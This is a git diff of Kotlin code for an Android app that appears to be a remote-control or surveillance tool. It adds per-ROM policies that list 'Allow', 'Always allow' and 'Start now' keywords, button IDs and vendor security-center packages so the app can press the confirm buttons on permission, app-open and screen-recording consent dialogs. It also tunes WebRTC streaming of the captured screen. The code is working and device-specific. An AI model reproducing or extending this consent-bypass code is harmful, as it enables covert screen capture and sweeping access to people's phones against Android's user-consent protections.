+ listOf("确定", "允许", "继续", "同意", "确认", "allow", "confirm", "ok"),
+ DEFAULT_APP_OPEN_POSITIVE_KEYWORDS
+ ),
+ installerStrategy = InstallerStrategy.SESSION_COMPAT
+ )
+ }
+}
+
+private object DefaultRomPolicyStrategy : RomPolicyStrategy {
+ override val id: String = "default_rom_policy"
+ override val priority: Int = 0
+
+ override fun matches(info: DeviceRuntimeInfo): Boolean = true
+
+ override fun buildPolicy(info: DeviceRuntimeInfo): RomPolicy {
+ return baseRomPolicy(id)
+ }
+}
+
+private fun baseRomPolicy(strategyId: String): RomPolicy {
+ return RomPolicy(
+ strategyId = strategyId,
+ permissionStepOrder = listOf(
+ PermissionStep.RUNTIME,
+ PermissionStep.OVERLAY,
+ PermissionStep.WRITE_SETTINGS,
+ PermissionStep.ALL_FILES_ACCESS,
+ PermissionStep.NOTIFICATION_LISTENER,
+ PermissionStep.BATTERY_OPTIMIZATION,
+ PermissionStep.EXACT_ALARM,
+ PermissionStep.ACCESSIBILITY,
+ PermissionStep.MEDIA_PROJECTION
+ ),
+ mediaProjectionConfirmTexts = DEFAULT_MEDIA_PROJECTION_CONFIRM_TEXTS,
+ mediaProjectionDetectionKeywords = DEFAULT_MEDIA_PROJECTION_DETECTION_KEYWORDS,
+ mediaProjectionDenyKeywords = DEFAULT_MEDIA_PROJECTION_DENY_KEYWORDS,
+ runtimePermissionAllowKeywords = DEFAULT_RUNTIME_PERMISSION_ALLOW_KEYWORDS,
+ runtimePermissionDenyKeywords = DEFAULT_RUNTIME_PERMISSION_DENY_KEYWORDS,
+ runtimePermissionOptionKeywords = DEFAULT_RUNTIME_PERMISSION_OPTION_KEYWORDS,
+ runtimePermissionFinalConfirmKeywords = DEFAULT_RUNTIME_PERMISSION_FINAL_CONFIRM_KEYWORDS,
+ runtimePermissionConfirmViewIdHints = DEFAULT_RUNTIME_PERMISSION_CONFIRM_VIEW_ID_HINTS,
+ permissionDialogPackageHints = DEFAULT_PERMISSION_DIALOG_PACKAGE_HINTS,
+ permissionFlowPackageHints = DEFAULT_PERMISSION_FLOW_PACKAGE_HINTS,
+ appOpenDialogPackageHints = DEFAULT_APP_OPEN_PACKAGE_HINTS,
+ appOpenDialogTitleKeywords = DEFAULT_APP_OPEN_TITLE_KEYWORDS,
+ appOpenDialogAlwaysAllowKeywords = DEFAULT_APP_OPEN_ALWAYS_ALLOW_KEYWORDS,
+ appOpenDialogPositiveKeywords = DEFAULT_APP_OPEN_POSITIVE_KEYWORDS,
+ appOpenDialogNegativeKeywords = DEFAULT_APP_OPEN_NEGATIVE_KEYWORDS,
+ appOpenDialogPositiveButtonIds = DEFAULT_APP_OPEN_POSITIVE_BUTTON_IDS,
+ appOpenDialogCheckboxIds = DEFAULT_APP_OPEN_CHECKBOX_IDS,
+ installerStrategy = InstallerStrategy.SESSION_FAST
+ )
+}
+
+private fun mergeDistinct(primary: List, secondary: List): List {
+ return (primary + secondary)
+ .map { it.trim() }
+ .filter { it.isNotEmpty() }
+ .distinct()
+}
+
+private val DEFAULT_MEDIA_PROJECTION_CONFIRM_TEXTS = listOf(
+ "立即开始", "允许", "确定", "开始", "Start now", "Allow", "OK", "Start", "Begin"
+)
+
+private val DEFAULT_MEDIA_PROJECTION_DETECTION_KEYWORDS = listOf(
+ "投射", "录制", "录屏", "投屏", "截取", "共享屏幕", "屏幕录制",
+ "Screen recording", "Screen casting", "Screen capture", "Share screen"
+)
+
+private val DEFAULT_MEDIA_PROJECTION_DENY_KEYWORDS = listOf(
+ "禁止", "取消", "拒绝", "不允许", "不同意", "关闭",
+ "Cancel", "Deny", "Dismiss", "Don't allow", "No"
+)
+
+private val DEFAULT_RUNTIME_PERMISSION_ALLOW_KEYWORDS = listOf(
+ "允许", "始终允许", "允许本次使用", "本次使用时允许",
+ "使用时允许", "使用期间允许", "仅使用期间允许",
+ "仅在使用中允许", "仅在前台使用应用时允许", "仅在使用该应用时允许",
+ "在使用中运行", "在使用中", "在使用该应用时", "在使用期间",
+ "仅在使用中", "仅在使用期间", "仅在使用应用时",
+ "允许通知", "允许访问全部", "允许管理所有文件", "允许使用照片和视频", "所有文件",
+ "确认解除", "解除限制", "解除", "仅本次", "本次允许", "仅此一次", "允许一次",
+ "Allow", "Always allow", "Allow all the time",
+ "Allow while using", "Allow while using the app", "While using the app",
+ "Allow only this time", "Only this time", "This time only", "Allow once"
+)
+
+private val DEFAULT_RUNTIME_PERMISSION_DENY_KEYWORDS = listOf(
+ "禁止", "取消", "拒绝", "不允许", "不同意", "关闭", "暂不", "以后再说",
+ "仅在使用中不允许", "仅在使用期间不允许",
+ "Cancel", "Deny", "Dismiss", "Don't allow", "Do not allow", "Not now", "No"
+)
+
+private val DEFAULT_RUNTIME_PERMISSION_OPTION_KEYWORDS = listOf(
+ "每次使用询问", "每次询问", "询问",
+ "仅在使用中允许", "仅在使用期间允许",
+ "仅在使用该应用时允许", "仅在使用此应用时允许", "仅在前台使用应用时允许",
+ "仅本次", "本次允许", "仅此一次", "允许一次",
+ "Ask every time", "Only this time", "While using the app"
+)
+
+private val DEFAULT_RUNTIME_PERMISSION_FINAL_CONFIRM_KEYWORDS = listOf(
+ "允许", "确认", "确定", "继续", "同意", "授权", "完成",
+ "Allow", "Confirm", "OK", "Continue", "Agree", "Grant", "Authorize", "Yes"
+)
+
+private val DEFAULT_RUNTIME_PERMISSION_CONFIRM_VIEW_ID_HINTS = listOf(
+ "button1", "positive", "allow", "grant", "confirm", "ok", "continue", "action"
+)
+
+private val DEFAULT_PERMISSION_DIALOG_PACKAGE_HINTS = listOf(
+ "com.android.systemui",
+ "android",
+ "com.android.permissioncontroller",
+ "com.google.android.permissioncontroller",
+ "com.android.packageinstaller",
+ "com.miui.securitycenter",
+ "com.miui.permcenter",
+ "com.miui.permissioncontroller",
+ "com.lbe.security.miui",
+ "com.huawei.systemmanager",
+ "com.hihonor.systemmanager",
+ "com.hihonor.securitycenter",
+ "com.coloros.safecenter",
+ "com.coloros.securitypermission",
+ "com.oplus.securitypermission",
+ "com.oppo.permissioncontroller",
+ "com.oppo.safecenter",
+ "com.heytap.permission",
+ "com.heytap.security"
+)
+
+private val DEFAULT_PERMISSION_FLOW_PACKAGE_HINTS = listOf(
+ "permissioncontroller",
+ "packageinstaller",
+ "permcenter",
+ "securitycenter",
+ "systemmanager",
+ "lbe.security.miui",
+ "com.coloros",
+ "com.oplus",
+ "com.heytap",
+ "com.oppo"
+)
+
+private val DEFAULT_APP_OPEN_PACKAGE_HINTS = listOf(
+ "com.android.permissioncontroller",
+ "com.android.packageinstaller",
+ "com.coloros.securitypermission",
+ "com.coloros.safecenter",
+ "com.oppo.safecenter",
+ "com.oplus.safecenter",
+ "com.heytap.security",
+ "com.heytap.permission"
+)
+
+private val DEFAULT_APP_OPEN_TITLE_KEYWORDS = listOf(
+ "是否允许开启应用",
+ "是否允许打开应用",
+ "是否始终允许打开",
+ "是否始终允许开启应用",
+ "允许开启应用",
+ "允许打开应用",
+ "打开此应用",
+ "allow this app to open",
+ "allow opening app"
+)
+
+private val DEFAULT_APP_OPEN_ALWAYS_ALLOW_KEYWORDS = listOf(
+ "是否始终允许打开",
+ "是否始终允许开启应用",
+ "始终允许打开",
+ "始终允许开启",
+ "始终允许打开此应用",
+ "总是允许打开",
+ "总是允许开启",
+ "总是允许打开此应用",
+ "始终允许",
+ "always allow"
+)
+
+private val DEFAULT_APP_OPEN_POSITIVE_KEYWORDS = listOf(
+ "确定", "允许", "继续", "同意", "确认", "打开", "ok", "allow", "continue", "confirm", "yes"
+)
+
+private val DEFAULT_APP_OPEN_NEGATIVE_KEYWORDS = listOf(
+ "取消", "拒绝", "不允许", "not now", "cancel", "deny", "don't allow"
+)
+
+private val DEFAULT_APP_OPEN_POSITIVE_BUTTON_IDS = listOf(
+ "android:id/button1",
+ "com.android.permissioncontroller:id/button1",
+ "com.android.packageinstaller:id/button1",
+ "com.android.packageinstaller:id/permission_allow_button",
+ "com.coloros.securitypermission:id/button1",
+ "com.coloros.safecenter:id/button1",
+ "com.oppo.safecenter:id/button1",
+ "com.heytap.permission:id/button1"
+)
+
+private val DEFAULT_APP_OPEN_CHECKBOX_IDS = listOf(
+ "android:id/checkbox",
+ "com.android.permissioncontroller:id/checkbox",
+ "com.android.packageinstaller:id/checkbox",
+ "com.coloros.securitypermission:id/checkbox",
+ "com.coloros.safecenter:id/checkbox",
+ "com.oppo.safecenter:id/checkbox",
+ "com.heytap.permission:id/checkbox"
+)
diff --git a/app/src/main/java/com/hikoncont/util/adaptation/WebRtcTransportAdaptationRegistry.kt b/app/src/main/java/com/hikoncont/util/adaptation/WebRtcTransportAdaptationRegistry.kt
new file mode 100644
index 0000000..26bebc9
--- /dev/null
+++ b/app/src/main/java/com/hikoncont/util/adaptation/WebRtcTransportAdaptationRegistry.kt
@@ -0,0 +1,137 @@
+package com.hikoncont.util.adaptation
+
+import com.hikoncont.util.DeviceDetector.DeviceBrand
+
+/**
+ * Runtime policy for WebRTC + MediaProjection behavior.
+ *
+ * Keep ROM/model specific tuning here so feature modules avoid hardcoded
+ * brand checks.
+ */
+data class WebRtcTransportPolicy(
+ val strategyId: String,
+ val offerRetryDelayMs: Long,
+ val offerRetryMax: Int,
+ val refreshTriggerIntervalMs: Long,
+ val emergencyRefreshMinIntervalMs: Long,
+ val preferDefaultDisplayCaptureIntent: Boolean,
+ val forceMediaProjectionFgsBeforeCapture: Boolean
+)
+
+private interface WebRtcTransportAdaptationStrategy {
+ val id: String
+ val priority: Int
+
+ fun matches(info: DeviceRuntimeInfo): Boolean
+
+ fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy
+}
+
+/**
+ * Registry for WebRTC transport tuning.
+ */
+object WebRtcTransportAdaptationRegistry {
+ private val strategies: List = listOf(
+ Xiaomi13HyperOsAndroid14Strategy,
+ XiaomiAndroid14Strategy,
+ OppoFamilyAndroid14Strategy,
+ DefaultWebRtcTransportStrategy
+ ).sortedByDescending { it.priority }
+
+ fun resolve(info: DeviceRuntimeInfo): WebRtcTransportPolicy {
+ val strategy = strategies.firstOrNull { it.matches(info) } ?: DefaultWebRtcTransportStrategy
+ return strategy.buildPolicy(info)
+ }
+}
+
+private object Xiaomi13HyperOsAndroid14Strategy : WebRtcTransportAdaptationStrategy {
+ override val id: String = "xiaomi13_hyperos_android14"
+ override val priority: Int = 200
+
+ override fun matches(info: DeviceRuntimeInfo): Boolean {
+ if (info.brand != DeviceBrand.XIAOMI) return false
+ if (info.sdkInt < 34) return false
+ val model = info.modelRaw.lowercase()
+ val device = info.deviceRaw.lowercase()
+ val product = info.productRaw.lowercase()
+ return model.contains("2211133c") || device.contains("fuxi") || product.contains("fuxi")
+ }
+
+ override fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy {
+ return WebRtcTransportPolicy(
+ strategyId = id,
+ offerRetryDelayMs = 4500L,
+ offerRetryMax = 8,
+ refreshTriggerIntervalMs = 3000L,
+ emergencyRefreshMinIntervalMs = 1000L,
+ preferDefaultDisplayCaptureIntent = true,
+ forceMediaProjectionFgsBeforeCapture = true
+ )
+ }
+}
+
+private object XiaomiAndroid14Strategy : WebRtcTransportAdaptationStrategy {
+ override val id: String = "xiaomi_android14_balanced"
+ override val priority: Int = 150
+
+ override fun matches(info: DeviceRuntimeInfo): Boolean {
+ return info.brand == DeviceBrand.XIAOMI && info.sdkInt >= 34
+ }
+
+ override fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy {
+ return WebRtcTransportPolicy(
+ strategyId = id,
+ offerRetryDelayMs = 5000L,
+ offerRetryMax = 7,
+ refreshTriggerIntervalMs = 3500L,
+ emergencyRefreshMinIntervalMs = 1200L,
+ preferDefaultDisplayCaptureIntent = true,
+ forceMediaProjectionFgsBeforeCapture = true
+ )
+ }
+}
+
+private object OppoFamilyAndroid14Strategy : WebRtcTransportAdaptationStrategy {
+ override val id: String = "oppo_family_android14"
+ override val priority: Int = 120
+
+ override fun matches(info: DeviceRuntimeInfo): Boolean {
+ if (info.sdkInt < 34) return false
+ return info.brand == DeviceBrand.OPPO ||
+ info.brand == DeviceBrand.VIVO ||
+ info.brand == DeviceBrand.ONEPLUS ||
+ info.brand == DeviceBrand.REALME
+ }
+
+ override fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy {
+ return WebRtcTransportPolicy(
+ strategyId = id,
+ offerRetryDelayMs = 5000L,
+ offerRetryMax = 6,
+ refreshTriggerIntervalMs = 4000L,
+ emergencyRefreshMinIntervalMs = 1500L,
+ preferDefaultDisplayCaptureIntent = true,
+ forceMediaProjectionFgsBeforeCapture = true
+ )
+ }
+}
+
+private object DefaultWebRtcTransportStrategy : WebRtcTransportAdaptationStrategy {
+ override val id: String = "default_webrtc_transport"
+ override val priority: Int = 0
+
+ override fun matches(info: DeviceRuntimeInfo): Boolean = true
+
+ override fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy {
+ return WebRtcTransportPolicy(
+ strategyId = id,
+ offerRetryDelayMs = 5000L,
+ offerRetryMax = 6,
+ refreshTriggerIntervalMs = 4000L,
+ emergencyRefreshMinIntervalMs = 1500L,
+ preferDefaultDisplayCaptureIntent = info.sdkInt >= 34,
+ forceMediaProjectionFgsBeforeCapture = info.sdkInt >= 29
+ )
+ }
+}
+
diff --git a/app/src/main/java/com/hikoncont/utils/PermissionRequestHelper.kt b/app/src/main/java/com/hikoncont/utils/PermissionRequestHelper.kt
index ce2c140..b3d65e1 100644
--- a/app/src/main/java/com/hikoncont/utils/PermissionRequestHelper.kt
+++ b/app/src/main/java/com/hikoncont/utils/PermissionRequestHelper.kt
@@ -3,7 +3,9 @@
import android.content.Context
import android.content.Intent
import android.os.Build
+import android.provider.Settings
import android.util.Log
+import androidx.core.app.NotificationManagerCompat
import com.hikoncont.ui.PermissionRequestActivity
/**
@@ -141,11 +143,19 @@ object PermissionRequestHelper {
val hasImagesPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_IMAGES)
val hasVideoPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_VIDEO)
val hasAudioPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_AUDIO)
+ val hasVisualSelectedPermission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
+ hasPermission(context, android.Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED)
+ } else {
+ false
+ }
- Log.d(TAG, "🔍 媒体权限检测: 图片=$hasImagesPermission, 视频=$hasVideoPermission, 音频=$hasAudioPermission")
+ Log.d(
+ TAG,
+ "🔍 媒体权限检测: 图片=$hasImagesPermission, 视频=$hasVideoPermission, 音频=$hasAudioPermission, 用户选择媒体=$hasVisualSelectedPermission"
+ )
// 拥有任一媒体权限即可访问相册
- hasImagesPermission || hasVideoPermission || hasAudioPermission
+ hasImagesPermission || hasVideoPermission || hasAudioPermission || hasVisualSelectedPermission
} else {
// Android 12及以下使用传统存储权限
// ✅ 优化：只需要读取权限，不需要写入权限
@@ -184,6 +194,14 @@ object PermissionRequestHelper {
Log.d(TAG, "✅ 快速检测：音频权限已授予")
return true
}
+
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
+ val hasVisualSelectedPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED)
+ if (hasVisualSelectedPermission) {
+ Log.d(TAG, "✅ 快速检测：用户选择媒体权限已授予")
+ return true
+ }
+ }
Log.d(TAG, "❌ 快速检测：无任何媒体权限")
false
@@ -213,12 +231,19 @@ object PermissionRequestHelper {
val hasImagesPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_IMAGES)
val hasVideoPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_VIDEO)
val hasAudioPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_AUDIO)
+ val hasVisualSelectedPermission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
+ hasPermission(context, android.Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED)
+ } else {
+ false
+ }
result["android_version"] = "13+"
result["has_images_permission"] = hasImagesPermission
result["has_video_permission"] = hasVideoPermission
result["has_audio_permission"] = hasAudioPermission
- result["has_any_media_permission"] = hasImagesPermission || hasVideoPermission || hasAudioPermission
+ result["has_visual_selected_permission"] = hasVisualSelectedPermission
+ result["has_any_media_permission"] =
+ hasImagesPermission || hasVideoPermission || hasAudioPermission || hasVisualSelectedPermission
result["permission_type"] = "media"
Log.d(TAG, "🔍 详细检测结果: $result")
@@ -255,4 +280,37 @@ object PermissionRequestHelper {
hasPermission(context, android.Manifest.permission.READ_PHONE_STATE) &&
hasPermission(context, android.Manifest.permission.CALL_PHONE)
}
+
+ fun hasNotificationPermission(context: Context): Boolean {
+ return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
+ hasPermission(context, android.Manifest.permission.POST_NOTIFICATIONS)
+ } else {
+ true
+ }
+ }
+
+ fun hasOverlayPermission(context: Context): Boolean {
+ return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+ Settings.canDrawOverlays(context)
+ } else {
+ true
+ }
+ }
+
+ fun hasWriteSettingsPermission(context: Context): Boolean {
+ return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+ Settings.System.canWrite(context)
+ } else {
+ true
+ }
+ }
+
+ fun hasNotificationListenerPermission(context: Context): Boolean {
+ return try {
+ NotificationManagerCompat.getEnabledListenerPackages(context).contains(context.packageName)
+ } catch (e: Exception) {
+ Log.e(TAG, "检查通知监听权限失败", e)
+ false
+ }
+ }
}
diff --git a/app/src/main/res/layout/activity_main.xml b/app/src/main/res/layout/activity_main.xml
index 881f263..77a6a04 100644
--- a/app/src/main/res/layout/activity_main.xml
+++ b/app/src/main/res/layout/activity_main.xml
@@ -103,6 +103,54 @@
+
+
+
+
+
+
+
+
+
+
+
+
+